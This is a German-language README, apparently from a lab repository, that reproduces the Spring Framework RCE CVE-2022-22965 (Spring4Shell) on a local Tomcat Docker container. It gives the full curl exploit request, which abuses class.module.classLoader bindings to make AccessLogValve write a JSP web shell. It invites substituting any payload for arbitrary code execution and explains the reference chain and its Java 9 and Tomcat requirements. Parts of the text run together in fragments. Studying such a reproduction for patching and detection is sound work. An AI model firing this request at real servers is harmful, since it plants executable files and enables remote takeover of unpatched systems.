
Minimales Beispiel, wie CVE-2022-22965 Spring RCE reproduziert werden kann.
docker-compose up --build
./exploits/run.sh
rce.jsp in webapps/handling-form-submission-complete auf dem Webserver.docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
-p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" hinzu, wenn Sie remote debuggen möchten../mvnw install
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
rce.jsp in webapps/handling-form-submission-complete auf dem Webserver.curl http://localhost:8888/handling-form-submission-complete/rce.jsp
123 im Terminal des Containers. Ersetzen Sie System.out.println(123) durch Ihr Payload, um beliebigen Code auszuführen.GreetingController POST-Anfragen auf dem Endpunkt /greeting und bindet Formularfelder an das Greeting-Objekt.user.info.firstname). Siehe AbstractNestablePropertyAccessor als Referenz.Greeting zwei Felder, id und content, aber tatsächlich enthält sie auch einen Verweis auf das Class-Objekt. Wir können class.module.classLoader als Formulardatenschlüssel verwenden, um auf den Klassenlader zuzugreifen.module-Eigenschaft.Der Exploit funktioniert nur auf Tomcat, da dieser einen speziellen Klassenlader besitzt. Allerdings kann eine ähnliche Referenzkette auch auf anderen Webanwendungsservern existieren. Sie wurde nur noch nicht ohne Weiteres entdeckt.
Der Exploit erfordert Java 9 oder höher, da die module-Eigenschaft in Java 9 hinzugefügt wurde.
Greetingclass.module.classLoader.getResources-Zugriff besitzt, der es uns ermöglicht, die Referenzkette fortzusetzen und auf eine der Instanzen der AccessLogValve-Klasse zuzugreifen.jsp-Datei im Stammverzeichnis des Anwendungsordners mit dem schädlichen Payload. Da jsp-Dateien von Tomcat automatisch ausgeführt werden, können wir sie im Browser aufrufen und schließlich das Payload ausführen. Jetzt ist es RCE.